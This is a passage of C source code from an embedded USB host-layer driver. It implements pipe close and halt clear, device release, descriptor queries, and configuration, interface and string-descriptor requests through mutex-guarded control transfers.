if((pipeHandle == USB_HOST_PIPE_HANDLE_INVALID) || (pipeHandle == 0))
{
result = USB_HOST_RESULT_PIPE_HANDLE_INVALID;
}
else
{
/* The pipe handle is a pointer to the pipe object */
pipeObj = (USB_HOST_PIPE_OBJ *)(pipeHandle);
/* Get the handle to the interface to which this pipe belongs */
interfaceHandle = pipeObj->interfaceHandle;
/* From the interface handle get the device index and hence the device
* object */
deviceIndex = USB_HOST_DEVICE_INDEX(interfaceHandle);
deviceObj = &gUSBHostDeviceList[deviceIndex];
if((USB_HOST_PNP_IDENTIFIER(interfaceHandle)) == (USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier)))
{
/* Use the HCD routine to close the pipe and deallocate the pipe
* object */
deviceObj->hcdInterface->hostPipeClose(pipeObj->pipeHandle);
pipeObj->inUse = false;
pipeObj->pipeHandle = DRV_USB_HOST_PIPE_HANDLE_INVALID;
result = USB_HOST_RESULT_SUCCESS;
}
else
{
result = USB_HOST_RESULT_FAILURE;
}
}
return(result);
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_DevicePipeHaltClear
(
USB_HOST_PIPE_HANDLE pipeHandle,
USB_HOST_REQUEST_HANDLE * requestHandle,
uintptr_t context
);
Summary:
Clears the halt condition on a pipe.
Description:
This function clears the halt condition on the specified pipe. This
function will cause a CLEAR FEATURE control request to be sent to the
device. The completion of the control transfer will be indicated by the
USB_HOST_DEVICE_EVENT_DEVICE_HALT_CLEAR_COMPLETE event.
Remarks:
Refer to usb_host_client_driver.h for usage information.
*/
USB_HOST_RESULT USB_HOST_DevicePipeHaltClear
(
USB_HOST_PIPE_HANDLE pipeHandle,
USB_HOST_REQUEST_HANDLE * requestHandle,
uintptr_t context
)
{
USB_HOST_RESULT result = USB_HOST_RESULT_FAILURE;
USB_HOST_DEVICE_INTERFACE_HANDLE interfaceHandle;
USB_HOST_DEVICE_OBJ * deviceObj;
USB_HOST_CONTROL_TRANSFER_OBJ * controlTransferObj;
USB_HOST_PIPE_OBJ * pipeObj;
int deviceIndex;
/* Check if we have a valid pipe */
if((USB_HOST_PIPE_HANDLE_INVALID == pipeHandle) || (0 == pipeHandle))
{
result = USB_HOST_RESULT_PIPE_HANDLE_INVALID;
}
else
{
/* Request Handle pointer cannot be NULL */
if(requestHandle == NULL)
{
result = USB_HOST_RESULT_PARAMETER_INVALID;
}
else
{
/* Get the index of the device to which this pipe belongs. This can
* be obtained from the interface handle. The interface handle is
* stored in the pipe object */
pipeObj = (USB_HOST_PIPE_OBJ *)(pipeHandle);
interfaceHandle = pipeObj->interfaceHandle;
deviceIndex = USB_HOST_DEVICE_INDEX(interfaceHandle);
deviceObj = &gUSBHostDeviceList[deviceIndex];
/* The interface handle PNP identifier does not match the device PNP
* identifier. The device is not the same */
if(USB_HOST_PNP_IDENTIFIER(interfaceHandle) !=
USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier))
{
result = USB_HOST_RESULT_FAILURE;
}
else
{
/* Set the request handle default to invalid */
*requestHandle = USB_HOST_REQUEST_HANDLE_INVALID;
/* Get a mutual exclusion lock as the the control transfer object is a global resource */
if(OSAL_MUTEX_Lock(&(gUSBHostObj.mutexControlTransferObj), OSAL_WAIT_FOREVER)
== OSAL_RESULT_TRUE)
{
if(!deviceObj->controlTransferObj.inUse)
{
/* This means that there no control request in progress. We can assign
* request now. The request handle is updated to point to the device
* control transfer object. */
deviceObj->controlTransferObj.inUse = true;
*requestHandle = (USB_HOST_REQUEST_HANDLE)(&deviceObj->controlTransferObj);
}
else
{
/* A control transfer is in progress. */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
/* Unlock the mutual exclusion lock */
OSAL_MUTEX_Unlock(&(gUSBHostObj.mutexControlTransferObj));
}
else
{
/* The mutual exclusion lock could not be obtained */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
if(*requestHandle != USB_HOST_REQUEST_HANDLE_INVALID)
{
/* Set up the control transfer object. The endpoint halt
* clear request does not have a data stage. */
controlTransferObj = &deviceObj->controlTransferObj;
controlTransferObj->requestType = USB_HOST_CONTROL_REQUEST_TYPE_PIPE_HALT_CLEAR;
/* Create the setup packet */
_USB_HOST_FillSetupPacket(
&(deviceObj->setupPacket),
( USB_SETUP_DIRN_HOST_TO_DEVICE |
USB_SETUP_TYPE_STANDARD |
USB_SETUP_RECIPIENT_ENDPOINT ),
USB_REQUEST_CLEAR_FEATURE ,
USB_FEATURE_SELECTOR_ENDPOINT_HALT , pipeObj->endpointAddress ,0 ) ;
controlTransferObj->requestType = USB_HOST_CONTROL_REQUEST_TYPE_PIPE_HALT_CLEAR;
controlTransferObj->controlIRP.data = NULL;
controlTransferObj->controlIRP.setup = &deviceObj->setupPacket;
controlTransferObj->controlIRP.size = deviceObj->setupPacket.wLength;
controlTransferObj->controlIRP.callback = _USB_HOST_DeviceControlTransferCallback;
controlTransferObj->controlIRP.userData = interfaceHandle;
controlTransferObj->context = context;
controlTransferObj->callback = NULL;
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit( deviceObj->controlPipeHandle, &(controlTransferObj->controlIRP)))
{
/* There was a problem while submitting the IRP. Update the result and
* the transfer handle. Return the control transfer object back to the
* device object */
result = USB_HOST_RESULT_FAILURE;
controlTransferObj->inUse = false;
*requestHandle = USB_HOST_REQUEST_HANDLE_INVALID;
}
else
{
result = USB_HOST_RESULT_SUCCESS;
}
}
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_DeviceRelease
(
USB_HOST_DEVICE_CLIENT_HANDLE deviceHandle,
);
Summary:
Releases an the device ownership.
Description:
This function allows the client driver to release device level ownership.
Remarks:
Refer to usb_host_client_driver.h for usage information.
*/
USB_HOST_RESULT USB_HOST_DeviceRelease
(
USB_HOST_DEVICE_CLIENT_HANDLE deviceHandle
)
{
int deviceIndex;
unsigned int pnpIdentifier;
USB_HOST_RESULT result;
USB_HOST_DEVICE_OBJ * deviceObj;
deviceIndex = USB_HOST_DEVICE_INDEX(deviceHandle);
pnpIdentifier = USB_HOST_PNP_IDENTIFIER(deviceHandle);
/* Get the device object */
deviceObj = &gUSBHostDeviceList[deviceIndex];
if(!deviceObj->inUse)
{
/* This device object is not in use. May have been disconnected */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
if(pnpIdentifier != USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier))
{
/* This device is not the same that client driver thinks it is */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
if(deviceObj->deviceClientDriver == NULL)
{
/* This is should not happen */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
/* Release the interface */
deviceObj->deviceClientDriver = NULL;
result = USB_HOST_RESULT_SUCCESS;
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
USB_INTERFACE_ASSOCIATION_DESCRIPTOR * USB_HOST_DeviceIADQuery
(
USB_CONFIGURATION_DESCRIPTOR * configuration
USB_HOST_IAD_QUERY * query,
);
Summary:
Queries the configuration for the specified IAD.
Description:
This function queries the configuration for the specified IAD and returns a
pointer to the interface association descriptor if found. The return pointer
will point to the standard interface association descriptor. The search
criteria can specified by using the flags.
Remarks:
This function is optional and may not be available on all implementations of
the USB Host Layer.
*/
USB_INTERFACE_ASSOCIATION_DESCRIPTOR * USB_HOST_DeviceIADQuery
(
USB_CONFIGURATION_DESCRIPTOR * configuration,
USB_HOST_IAD_QUERY * query
)
{
USB_INTERFACE_ASSOCIATION_DESCRIPTOR * result = NULL;
USB_DESCRIPTOR_HEADER * descriptorHeader;
uint8_t * search;
uint8_t * lastLocation;
if(configuration == NULL)
{
/* Cannot proceed. Note that result is already NULL */
}
else
{
/* Keep track of the last location of this descriptor */
search = (uint8_t *)(configuration);
lastLocation = (uint8_t *)(_USB_HOST_FindEndOfDescriptor(search));
if((query->context != 0) && (query->context < (uintptr_t)(lastLocation)))
{
/* This is a continuing search. We start the search from the last
* saved location */
search = (uint8_t *)(query->context);
}
while(search < lastLocation)
{
descriptorHeader = (USB_DESCRIPTOR_HEADER *)(search);
if(descriptorHeader->descType == USB_DESCRIPTOR_INTERFACE_ASSOCIATION)
{
/* This means we found an IAD. Update result and stop searching */
result = (USB_INTERFACE_ASSOCIATION_DESCRIPTOR *)(search);
/* Setup the context to point to the next descriptor else
* we will always loop at this descriptor the next time the
* search function is called. */
query->context = (uintptr_t)(search + descriptorHeader->size);
break;
}
else
{
/* Go to the next descriptor */
search += descriptorHeader->size;
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
void USB_HOST_DeviceIADQueryContextClear
(
USB_HOST_IAD_QUERY * query
);
Summary:
Clear the query object.
Description:
This function clears the query object. Using the query after it has been
clear will cause the USB_HOST_DeviceIADQuery() and function to reset the
search location to the start of the configuration descriptor.
Remarks:
This function is optional and may not be available on all implementations of
the USB Host Layer.
*/
void USB_HOST_DeviceIADQueryContextClear
(
USB_HOST_IAD_QUERY * query
)
{
if(query != NULL)
{
query->context = 0;
}
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_DeviceConfigurationSet
(
USB_HOST_DEVICE_CLIENT_HANDLE deviceHandle,
USB_HOST_REQUEST_HANDLE * requestHandle,
uint8_t configurationIndex,
uintptr_t context
);
Summary:
Sets the active configuration for the device.
Description:
This function sets the configuration that the host layer must set for this
device. A handle to the request is returned in requestHandle. The completion
of this request is indicated by the USB_HOST_DEVICE_EVENT_CONFIGURATION_SET
complete event.
Remarks:
Refer to usb_host_client_driver.h for usage details.
*/
USB_HOST_RESULT USB_HOST_DeviceConfigurationSet
(
USB_HOST_DEVICE_CLIENT_HANDLE deviceHandle,
USB_HOST_REQUEST_HANDLE * requestHandle,
uint8_t configurationIndex,
uintptr_t context
)
{
USB_HOST_RESULT result;
USB_HOST_DEVICE_OBJ * deviceObj;
unsigned int deviceIndex;
unsigned int pnpIdentifier;
if(deviceHandle == USB_HOST_DEVICE_CLIENT_HANDLE_INVALID)
{
/* Device client handle is not valid */
result = USB_HOST_RESULT_PARAMETER_INVALID;
}
else
{
/* We have a valid client handle. Get the device index from the client
* handle */
deviceIndex = USB_HOST_DEVICE_INDEX(deviceHandle);
deviceObj = &gUSBHostDeviceList[deviceIndex];
pnpIdentifier = USB_HOST_PNP_IDENTIFIER(deviceHandle);
if((!deviceObj->inUse) || (pnpIdentifier != USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier)))
{
/* This device is not valid */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
/* Check if this is valid configuration. */
if(configurationIndex >= deviceObj->nConfiguration)
{
/* The device does not support this configuration */
result = USB_HOST_RESULT_CONFIGURATION_UNKNOWN;
}
else
{
if((!deviceObj->controlTransferObj.inUse) &&
(deviceObj->configurationState == USB_HOST_DEVICE_CONFIG_STATE_READY_FOR_CONFIG) &&
(deviceObj->deviceState == USB_HOST_DEVICE_STATE_READY))
{
/* The configuration can be set */
deviceObj->controlTransferObj.inUse = true;
deviceObj->controlTransferObj.context = context;
deviceObj->requestedConfigurationNumber = configurationIndex;
deviceObj->configurationState = USB_HOST_DEVICE_CONFIG_STATE_START;
result = USB_HOST_RESULT_SUCCESS;
}
else
{
/* The device is not ready for any requests at this point */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
USB_INTERFACE_DESCRIPTOR * USB_HOST_DeviceGeneralInterfaceDescriptorQuery
(
void * descriptor
USB_HOST_INTERFACE_DESCRIPTOR_QUERY * query,
);
Summary:
Queries the IAD group for the specified query.
Description:
This function will query will search for an interface starting from the
location pointed to by the descriptor parameter. This descriptor parameter
could be a pointer to an IAD or a interface descriptor. The return pointer
will point to the standard interface descriptor and class specific interface
descriptors for that interface. The search criteria can specified by using
the flags.
In a case where the interface has more than one alternate settings, the
function can be called repetitively to continue the search till the end of the
configuration descriptor is reached or till the search fails. The query flag
in such should be set to ignore the alternate setting field. The query
object maintains the last point where the search was successful and
continues the search from that point onwards. Resetting the query object
(through the USB_HOST_DeviceInterfaceQueryContextClear()) function will
reset the search object and cause the search to start from the top.
Remarks:
Refer to usb_host_client_driver.h for usage information.
*/
USB_INTERFACE_DESCRIPTOR * USB_HOST_DeviceGeneralInterfaceDescriptorQuery
(
void * descriptor,
USB_HOST_INTERFACE_DESCRIPTOR_QUERY * query
)
{
USB_INTERFACE_DESCRIPTOR * result = NULL;
USB_DESCRIPTOR_HEADER * descriptorHeader;
uint8_t * search;
uint8_t * lastLocation;
USB_HOST_INTERFACE_QUERY_FLAG matchedCriteria = USB_HOST_INTERFACE_QUERY_ANY;
USB_INTERFACE_DESCRIPTOR * interfaceDescriptor;
if(descriptor != NULL)
{
/* We have a non null descritpor. Find where this descriptor ends */
search = (uint8_t *)(descriptor);
lastLocation = (uint8_t *)(_USB_HOST_FindEndOfDescriptor(search));
if((query->context != 0) && (query->context < (uintptr_t)(lastLocation)))
{
/* This is a continuing search. We start the search from the last
* saved location */
search = (uint8_t *)(query->context);
}
while(search < lastLocation)
{
/* Reset the matching criteria as this is a new search */
matchedCriteria = USB_HOST_INTERFACE_QUERY_ANY;
descriptorHeader = (USB_DESCRIPTOR_HEADER *)(search);
if(descriptorHeader->descType == USB_DESCRIPTOR_INTERFACE)
{
interfaceDescriptor = (USB_INTERFACE_DESCRIPTOR *)(search);
/* This means we found a interface descriptor. We need to check
* if it meets the criteria */
if(query->flags == USB_HOST_INTERFACE_QUERY_ANY)
{
/* This means any interface descriptor is fine. We should
* stop searching. Save the query location in the context */
query->context = (uintptr_t)(search + descriptorHeader->size);
result = (USB_INTERFACE_DESCRIPTOR *)(search);
break;
}
else
{
/* Need to apply the specified criteria */
if(query->flags & USB_HOST_INTERFACE_QUERY_BY_NUMBER)
{
if(interfaceDescriptor->bInterfaceNumber == query->bInterfaceNumber)
{
/* Matches by number */
matchedCriteria |= USB_HOST_INTERFACE_QUERY_BY_NUMBER;
}
}
if(query->flags & USB_HOST_INTERFACE_QUERY_ALT_SETTING)
{
if(interfaceDescriptor->bAlternateSetting == query->bAlternateSetting)
{
/* Matches by alternate setting */
matchedCriteria |= USB_HOST_INTERFACE_QUERY_ALT_SETTING;
}
}
if(query->flags & USB_HOST_INTERFACE_QUERY_BY_CLASS)
{
if(interfaceDescriptor->bInterfaceClass == query->bInterfaceClass)
{
/* Matches by interface class */
matchedCriteria |= USB_HOST_INTERFACE_QUERY_BY_CLASS;
}
}
if(query->flags & USB_HOST_INTERFACE_QUERY_BY_SUBCLASS)
{
if(interfaceDescriptor->bInterfaceSubClass == query->bInterfaceSubClass)
{
/* Matches by interface subclass */
matchedCriteria |= USB_HOST_INTERFACE_QUERY_BY_SUBCLASS;
}
}
if(query->flags & USB_HOST_INTERFACE_QUERY_BY_PROTOCOL)
{
if(interfaceDescriptor->bInterfaceProtocol == query->bInterfaceProtocol)
{
/* Matches by interface protocol */
matchedCriteria |= USB_HOST_INTERFACE_QUERY_BY_PROTOCOL;
}
}
/* Now check if we have met all the criteria */
if(matchedCriteria == query->flags)
{
/* Yes we have. Save the search location and exit */
query->context = (uintptr_t)(search + descriptorHeader->size);
result = (USB_INTERFACE_DESCRIPTOR *)(search);
break;
}
else
{
/* We did not match the criteria */
search += descriptorHeader->size;
}
}
}
else
{
/* Go to the next descriptor */
search += descriptorHeader->size;
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_DeviceInterfaceSet
(
USB_HOST_DEVICE_INTERFACE_HANDLE interfaceHandle,
USB_HOST_REQUEST_HANDLE * requestHandle,
uint8_t alternateSetting,
uintptr_t context
);
Summary:
Activates an alternate setting for the specified interface.
Description:
This function activates an alternate setting for the specified interface.
This will cause the host layer to send a SET INTERFACE request to the
device. The specified interface should have been claimed. The completion of
the SET INTERFACE function will be indicated by the
USB_HOST_DEVICE_EVENT_SET_INTERFACE_COMPLETE event.
Remarks:
Refer to usb_host_client_driver.h for usage information.
*/
USB_HOST_RESULT USB_HOST_DeviceInterfaceSet
(
USB_HOST_DEVICE_INTERFACE_HANDLE interfaceHandle,
USB_HOST_REQUEST_HANDLE * requestHandle,
uint8_t alternateSetting,
uintptr_t context
)
{
USB_HOST_RESULT result = USB_HOST_RESULT_FAILURE;
USB_HOST_DEVICE_OBJ * deviceObj;
USB_HOST_CONTROL_TRANSFER_OBJ * controlTransferObj;
int deviceIndex, interfaceIndex, pnpIdentifier;
USB_HOST_INTERFACE_DESC_INFO * interfaceDescInfo;
USB_HOST_INTERFACE_DESCRIPTOR_QUERY interfaceQueryObject;
/* Get the device index and then the pointer to the device object */
deviceIndex = USB_HOST_DEVICE_INDEX(interfaceHandle);
deviceObj = &gUSBHostDeviceList[deviceIndex];
if(!deviceObj->inUse)
{
/* Device object is not valid anymore */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
/* Check the Plug N Play identifier */
pnpIdentifier = USB_HOST_PNP_IDENTIFIER(interfaceHandle);
if(pnpIdentifier != USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier))
{
/* This is not the same device the client driver thinks it is */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
interfaceIndex = USB_HOST_INTERFACE_INDEX(interfaceHandle);
interfaceDescInfo = &deviceObj->configDescriptorInfo.interfaceInfo[interfaceIndex];
if(interfaceDescInfo->interfaceDescriptor == NULL)
{
/* This means this interface is not valid */
result = USB_HOST_RESULT_INTERFACE_UNKNOWN;
}
else
{
/* We must search for this interface */
USB_HOST_DeviceInterfaceQueryContextClear(&interfaceQueryObject);
interfaceQueryObject.bInterfaceNumber = interfaceIndex;
interfaceQueryObject.bAlternateSetting = alternateSetting;
interfaceQueryObject.flags = (USB_HOST_INTERFACE_QUERY_FLAG)(USB_HOST_INTERFACE_QUERY_ALT_SETTING | USB_HOST_INTERFACE_QUERY_BY_NUMBER);
if(USB_HOST_DeviceGeneralInterfaceDescriptorQuery(interfaceDescInfo->interfaceDescriptor,
&interfaceQueryObject) == NULL)
{
/* This alternate setting does not exist */
result = USB_HOST_RESULT_INTERFACE_UNKNOWN;
}
else
{
/* Set the request handle default to invalid */
*requestHandle = USB_HOST_REQUEST_HANDLE_INVALID;
/* Get a mutual exclusion lock as the the control transfer object is a global resource */
if(OSAL_MUTEX_Lock(&(gUSBHostObj.mutexControlTransferObj), OSAL_WAIT_FOREVER)
== OSAL_RESULT_TRUE)
{
if(!deviceObj->controlTransferObj.inUse)
{
/* This means that there no control request in progress. We can assign
* request now. The request handle is updated to point to the device
* control transfer object. */
deviceObj->controlTransferObj.inUse = true;
*requestHandle = (USB_HOST_REQUEST_HANDLE)(&deviceObj->controlTransferObj);
}
else
{
/* A control transfer is in progress. */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
/* Unlock the mutual exclusion lock */
OSAL_MUTEX_Unlock(&(gUSBHostObj.mutexControlTransferObj));
}
else
{
/* The mutual exclusion lock could not be obtained */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
if(*requestHandle != USB_HOST_REQUEST_HANDLE_INVALID)
{
/* Set up the control transfer object. The endpoint halt
* clear request does not have a data stage. */
controlTransferObj = &deviceObj->controlTransferObj;
controlTransferObj->requestType = USB_HOST_CONTROL_REQUEST_TYPE_INTERFACE_SET;
/* Remember which alternate setting was requested. This
* will be needed after we get the event */
deviceObj->requestedAlternateSetting = alternateSetting;
_USB_HOST_FillSetupPacket(
&(deviceObj->setupPacket),
( USB_SETUP_DIRN_HOST_TO_DEVICE |
USB_SETUP_TYPE_STANDARD |
USB_SETUP_RECIPIENT_INTERFACE ),
USB_REQUEST_SET_INTERFACE,
alternateSetting , interfaceIndex ,0 ) ;
controlTransferObj->controlIRP.data = NULL;
controlTransferObj->controlIRP.setup = &deviceObj->setupPacket;
controlTransferObj->controlIRP.size = deviceObj->setupPacket.wLength;
controlTransferObj->controlIRP.callback = _USB_HOST_DeviceControlTransferCallback;
controlTransferObj->controlIRP.userData = interfaceHandle;
controlTransferObj->context = context;
controlTransferObj->callback = NULL;
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit( deviceObj->controlPipeHandle, &(controlTransferObj->controlIRP)))
{
/* There was a problem while submitting the IRP. Update the result and
* the transfer handle. Return the control transfer object back to the
* device object */
result = USB_HOST_RESULT_FAILURE;
controlTransferObj->inUse = false;
*requestHandle = USB_HOST_REQUEST_HANDLE_INVALID;
}
else
{
result = USB_HOST_RESULT_SUCCESS;
}
}
}
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_DeviceStringDescriptorGet
(
USB_HOST_DEVICE_OBJ_HANDLE deviceObjHandle,
USB_HOST_DEVICE_STRING stringType,
uint16_t languageID,
void * stringDescriptor,
size_t length,
USB_HOST_REQUEST_HANDLE * requestHandle,
USB_HOST_STRING_REQUEST_COMPLETE_CALLBACK callback,
uintptr_t context
);
Summary:
Retrieves specified string descriptor from the device
Description:
This function retrieves the specified string descriptor from the device.
This function will cause the host layer to issue a control transfer to the
device. When the string descriptor is available, the host layer will call
the callback function to let the application know that the request has
completed.
The function will return a valid request handle in requestHandle, if the
request was successful. This request handle will be returned in the callback
function. The size of the stringDescriptor buffer is specified by the length
parameter. Only length number of bytes will be retrieved. The type of
device string descriptor to be retrieved is specified by the stringType
parameter. The supported language IDs, manufacturer, product and serial
number strings can be obtained. While obtaining the supported language IDs,
the languageID parameter will be ignored.
Remarks:
None.
*/
USB_HOST_RESULT USB_HOST_DeviceStringDescriptorGet
(
USB_HOST_DEVICE_OBJ_HANDLE deviceObjHandle,
USB_HOST_DEVICE_STRING stringType,
uint16_t languageID,
void * stringDescriptor,
size_t length,
USB_HOST_REQUEST_HANDLE * requestHandle,
USB_HOST_STRING_REQUEST_COMPLETE_CALLBACK callback,
uintptr_t context
)
{
int deviceIndex, pnpIdentifier;
USB_HOST_DEVICE_OBJ * deviceObj;
USB_HOST_RESULT result = USB_HOST_RESULT_FAILURE;
USB_HOST_CONTROL_TRANSFER_OBJ * controlTransferObj;
uint8_t stringIndex;
/* Get the device index and then the pointer to the device object */
deviceIndex = USB_HOST_DEVICE_INDEX(deviceObjHandle);
deviceObj = &gUSBHostDeviceList[deviceIndex];
if(!deviceObj->inUse)
{
/* Device object is not valid anymore */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
/* Check the Plug N Play identifier */
pnpIdentifier = USB_HOST_PNP_IDENTIFIER(deviceObjHandle);
if(pnpIdentifier != USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier))
{
/* This is not the same device as the application thinks it is */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
if((stringDescriptor == NULL) || (length == 0) || (requestHandle == NULL) || (callback == NULL))
{
/* One of the required parameter is not valid */
result = USB_HOST_RESULT_PARAMETER_INVALID;
}
else
{
/* Need to check if the device is in a failure state */
if(deviceObj->deviceState == USB_HOST_DEVICE_STATE_ERROR)
{
result = USB_HOST_RESULT_FAILURE;
}
else
{
if(deviceObj->deviceState != USB_HOST_DEVICE_STATE_READY)
{
/* The device must be in a ready state */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
else
{
/* Map the string type to string index. Set the default
* string index to 0. */
stringIndex = 0;
switch(stringType)
{
case USB_HOST_DEVICE_STRING_LANG_ID:
/* Setting string index to zero will get the
* the language ID */
stringIndex = 0;
break;
case USB_HOST_DEVICE_STRING_MANUFACTURER:
/* Set the string index to the manufacture string
index */
stringIndex = deviceObj->deviceDescriptor.iManufacturer;
break;
case USB_HOST_DEVICE_STRING_PRODUCT:
/* Set the string index to the manufacture string
index */
stringIndex = deviceObj->deviceDescriptor.iProduct;
break;
case USB_HOST_DEVICE_STRING_SERIAL_NUMBER:
/* Set the string index to the manufacture string
index */
stringIndex = deviceObj->deviceDescriptor.iSerialNumber;
break;
default:
break;
}
if((stringIndex == 0) && (stringType != USB_HOST_DEVICE_STRING_LANG_ID))
{
/* This means that the device does not support the
* requested string. */
result = USB_HOST_RESULT_STRING_DESCRIPTOR_UNSUPPORTED;
}
else
{
/* Set the request handle default to invalid */
*requestHandle = USB_HOST_REQUEST_HANDLE_INVALID;
/* Get a mutual exclusion lock as the control transfer object is a global
* resource */
if(OSAL_MUTEX_Lock(&(gUSBHostObj.mutexControlTransferObj), OSAL_WAIT_FOREVER)
== OSAL_RESULT_TRUE)
{
if(!deviceObj->controlTransferObj.inUse)
{
/* This means that there no control request in progress. We can assign
* request now. The request handle is updated to point to the device
* control transfer object. */
deviceObj->controlTransferObj.inUse = true;
*requestHandle = (USB_HOST_REQUEST_HANDLE)(&deviceObj->controlTransferObj);
}
else
{
/* A control transfer is in progress. */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
/* Unlock the mutual exclusion lock */
OSAL_MUTEX_Unlock(&(gUSBHostObj.mutexControlTransferObj));
}
else
{
/* The mutual exclusion lock could not be obtained */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
if(*requestHandle != USB_HOST_REQUEST_HANDLE_INVALID)
{
/* Set up the control transfer object. The request type
* allows the one control transfer handler to identify the
* type of the request. In this case this is a string
* descriptor request. */
controlTransferObj = &deviceObj->controlTransferObj;
controlTransferObj->requestType = USB_HOST_CONTROL_REQUEST_TYPE_STRING_DESCRIPTOR;
_USB_HOST_FillSetupPacket(
&(deviceObj->setupPacket),
( USB_SETUP_DIRN_DEVICE_TO_HOST |
USB_SETUP_TYPE_STANDARD |
USB_SETUP_RECIPIENT_DEVICE ),
USB_REQUEST_GET_DESCRIPTOR,
((USB_DESCRIPTOR_STRING << 8)|stringIndex), languageID, length ) ;
/* The userData filed in the IRP is set to the device object
* handle. This will allow the control transfer callback to
* identify the device which submitted the control
* transfer. */
controlTransferObj->controlIRP.data = stringDescriptor;
controlTransferObj->controlIRP.setup = &deviceObj->setupPacket;
controlTransferObj->controlIRP.size = deviceObj->setupPacket.wLength;
controlTransferObj->controlIRP.callback = _USB_HOST_DeviceControlTransferCallback;
controlTransferObj->controlIRP.userData = deviceObjHandle ;
controlTransferObj->context = context;
controlTransferObj->callback = (void*)callback;
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit( deviceObj->controlPipeHandle, &(controlTransferObj->controlIRP)))
{
/* There was a problem while submitting the IRP. Update the result and
* the transfer handle. Return the control transfer object back to the
* device object */
result = USB_HOST_RESULT_FAILURE;
controlTransferObj->inUse = false;
*requestHandle = USB_HOST_REQUEST_HANDLE_INVALID;
}
else
{
result = USB_HOST_RESULT_SUCCESS;
}
}
}
}
}
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
void USB_HOST_OverCurrentDetected
(
USB_HOST_DEVICE_OBJ_HANDLE parentDeviceObjHandle,
uint8_t port,
USB_HOST_DEVICE_OBJ_HANDLE deviceObjHandle
);
Summary:
This function provides indication to the host layer that an over-current
event has occurred.
Description:
This function provides indication to the host layer that an over-current
event has occurred. The host layer will in turn forward the event to the
application. This function is called exclusively by the root hub or the
external hub driver. The root hub or the external driver will de-enumerate
this device after the function returns.
Remarks:
This function is optional and may not be available on all implementations of
the USB Host Layer.
*/
void USB_HOST_OverCurrentDetected
(
USB_HOST_DEVICE_OBJ_HANDLE parentDeviceObjHandle,
uint8_t port,
USB_HOST_DEVICE_OBJ_HANDLE deviceObjHandle
)
{
/* This function is called when an overcurrent condition has occurred. The
* root hub or the external hub driver would de-enumerate the device after
* this function exits. So the only thing we should do is to call the
* application event handler and let the application know that the over
* current event has occurred. */
if(gUSBHostObj.hostEventHandler != NULL)
{
/* In this version of the host layer, we do not send any event data with
* this event */
gUSBHostObj.hostEventHandler(USB_HOST_EVENT_PORT_OVERCURRENT_DETECTED, NULL, gUSBHostObj.context);
}
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT USB_HOST_ConfigurationDescriptorGet
(
USB_HOST_DEVICE_CLIENT_HANDLE deviceHandle,
USB_HOST_REQUEST_HANDLE * requestHandle
uint8_t configurationIndex,
void * buffer,
size_t size,
uintptr_t context
);
Summary:
Requests for a configuration descriptor.
Description:
This function places a USB Host request to obtain a device configuration
descriptor. The function is non blocking. A pointer to the configuration
descriptor data will be available in event data when the
USB_HOST_DEVICE_EVENT_CONFIGURATION_DESCRIPTOR_GET_COMPLETE event occurs.
The size of the configuration descriptor will be available in the event
data.
Remarks:
None.
*/
USB_HOST_RESULT USB_HOST_DeviceConfigurationDescriptorGet
(
USB_HOST_DEVICE_CLIENT_HANDLE deviceHandle,
USB_HOST_REQUEST_HANDLE * requestHandle,
uint8_t configurationValue,
void * buffer,
size_t size,
uintptr_t context
)
{
int deviceIndex, pnpIdentifier;
USB_HOST_DEVICE_OBJ * deviceObj;
USB_HOST_RESULT result = USB_HOST_RESULT_FAILURE;
USB_HOST_CONTROL_TRANSFER_OBJ * controlTransferObj;
/* Get the device index and then the pointer to the device object */
deviceIndex = USB_HOST_DEVICE_INDEX(deviceHandle);
deviceObj = &gUSBHostDeviceList[deviceIndex];
if(!deviceObj->inUse)
{
/* Device object is not valid anymore */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
/* Check the Plug N Play identifier */
pnpIdentifier = USB_HOST_PNP_IDENTIFIER(deviceHandle);
if(pnpIdentifier != USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier))
{
/* This is not the same device as the application thinks it is */
result = USB_HOST_RESULT_DEVICE_UNKNOWN;
}
else
{
if((size == 0) || (requestHandle == NULL) || (buffer == NULL))
{
/* One of the required parameter is not valid */
result = USB_HOST_RESULT_PARAMETER_INVALID;
}
else
{
/* Need to check if the device is in a failure state */
if(deviceObj->deviceState == USB_HOST_DEVICE_STATE_ERROR)
{
result = USB_HOST_RESULT_FAILURE;
}
else
{
